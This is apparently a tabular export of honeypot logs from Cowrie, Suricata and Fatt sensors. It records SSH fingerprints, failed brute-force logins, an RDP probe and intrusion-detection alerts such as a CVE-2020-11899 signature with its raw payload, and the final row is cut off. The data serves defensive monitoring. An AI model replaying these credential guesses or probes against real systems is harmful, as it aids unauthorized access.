hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47146, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:04:35.336829Z", "@timestamp": "2021-09-20T12:04:35.336Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......u...F.y.\\rT...,....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34892	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:35.056564+03	2021-09-20 15:15:02.51369+03	{"_id": "oQYXA3wBvYTbRNuE_Fht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "42.192.76.45", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47146, "timestamp": "2021-09-20T12:04:35.056564", "@timestamp": "2021-09-20T12:04:35.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34893	42.192.76.45	109.199.241.180	Cowrie	2021-09-20 15:04:35.337471+03	2021-09-20 15:15:02.514689+03	{"_id": "nQYXA3wBvYTbRNuE-lhG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.192.76.45", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.192.76.45", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "71a252aa38d7", "@version": "1", "timestamp": "2021-09-20T12:04:35.337471Z", "@timestamp": "2021-09-20T12:04:35.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34894	42.192.76.45	109.199.241.180	Suricata	2021-09-20 15:04:35.335678+03	2021-09-20 15:15:02.51669+03	{"_id": "ngYXA3wBvYTbRNuE-1hn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "42.192.76.45", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.76.45", "dest_ip": "192.168.20.116", "flow_id": 702385946281609, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47146, "dest_port": 22, "timestamp": "2021-09-20T12:04:35.335678Z", "@timestamp": "2021-09-20T12:04:35.335Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34895	42.192.76.45	109.199.241.180	Fatt	2021-09-20 15:04:35.336829+03	2021-09-20 15:15:02.518691+03	{"_id": "ogYXA3wBvYTbRNuE_Fht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "42.192.76.45", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.192.76.45", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47146, "dest_port": 22, "timestamp": "2021-09-20T12:04:35.336829", "@timestamp": "2021-09-20T12:04:35.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34896	42.192.76.45	109.199.241.180	Cowrie	2021-09-20 15:04:36.547716+03	2021-09-20 15:15:02.51969+03	{"_id": "owYYA3wBvYTbRNuEAlgX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.76.45", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.76.45", "eventid": "cowrie.login.failed", "message": "login attempt [fork/fork] failed", "session": "71a252aa38d7", "@version": "1", "password": "fork", "username": "fork", "timestamp": "2021-09-20T12:04:36.547716Z", "@timestamp": "2021-09-20T12:04:36.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34897	42.192.76.45	109.199.241.180	Cowrie	2021-09-20 15:04:37.830103+03	2021-09-20 15:15:02.52069+03	{"_id": "pAYYA3wBvYTbRNuEBlgA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.76.45", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.76.45", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "71a252aa38d7", "@version": "1", "duration": 2.7758665084838867, "timestamp": "2021-09-20T12:04:37.830103Z", "@timestamp": "2021-09-20T12:04:37.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34898	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:04:40.814557+03	2021-09-20 15:15:02.52269+03	{"_id": "qwYYA3wBvYTbRNuEEVi5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ec181571361d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:04:40.814557Z", "@timestamp": "2021-09-20T12:04:40.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	IN
34899	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:04:42.929987+03	2021-09-20 15:15:02.52369+03	{"_id": "yAYYA3wBvYTbRNuEGlis", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:42.172303+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 500335652806927, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62781, "dest_port": 3389, "timestamp": "2021-09-20T12:04:42.929987Z", "@timestamp": "2021-09-20T12:04:42.929Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34900	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:42.886341+03	2021-09-20 15:15:02.52469+03	{"_id": "yQYYA3wBvYTbRNuEG1ix", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37596, "timestamp": "2021-09-20T12:04:42.886341", "@timestamp": "2021-09-20T12:04:42.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34901	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:04:43.760174+03	2021-09-20 15:15:02.52669+03	{"_id": "zAYYA3wBvYTbRNuEHVhz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ec181571361d", "@version": "1", "duration": 2.9459190368652344, "timestamp": "2021-09-20T12:04:43.760174Z", "@timestamp": "2021-09-20T12:04:43.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	IN
34902	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:04:45.023399+03	2021-09-20 15:15:02.52769+03	{"_id": "zgYYA3wBvYTbRNuEIVhc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fbae81b219d1", "@version": "1", "duration": 2.139397382736206, "timestamp": "2021-09-20T12:04:45.023399Z", "@timestamp": "2021-09-20T12:04:45.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
34903	176.122.188.154	109.199.241.180	Fatt	2021-09-20 15:04:43.055035+03	2021-09-20 15:15:02.529689+03	{"_id": "ygYYA3wBvYTbRNuEG1ix", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37596, "dest_port": 22, "timestamp": "2021-09-20T12:04:43.055035", "@timestamp": "2021-09-20T12:04:43.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
34905	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:04:42.881563+03	2021-09-20 15:15:02.53169+03	{"_id": "wgYYA3wBvYTbRNuEGViL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:37596 (192.168.176.2:22) [session: fbae81b219d1]", "session": "fbae81b219d1", "@version": "1", "protocol": "ssh", "src_port": 37596, "dest_port": 22, "timestamp": "2021-09-20T12:04:42.881563Z", "@timestamp": "2021-09-20T12:04:42.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
34906	176.122.188.154	109.199.241.180	Suricata	2021-09-20 15:04:43.053345+03	2021-09-20 15:15:02.53369+03	{"_id": "xQYYA3wBvYTbRNuEGlir", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 2075630872747223, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37596, "dest_port": 22, "timestamp": "2021-09-20T12:04:43.053345Z", "@timestamp": "2021-09-20T12:04:43.053Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
34907	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:04:50.579107+03	2021-09-20 15:15:02.53469+03	{"_id": "0QYYA3wBvYTbRNuENlgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:04:50.579107+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156695660067, "payload": "AcbGzQAIAAIYogABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T12:04:50.579107Z", "@timestamp": "2021-09-20T12:04:50.579Z", "event_type": "alert", "t-pot_ip_ext": 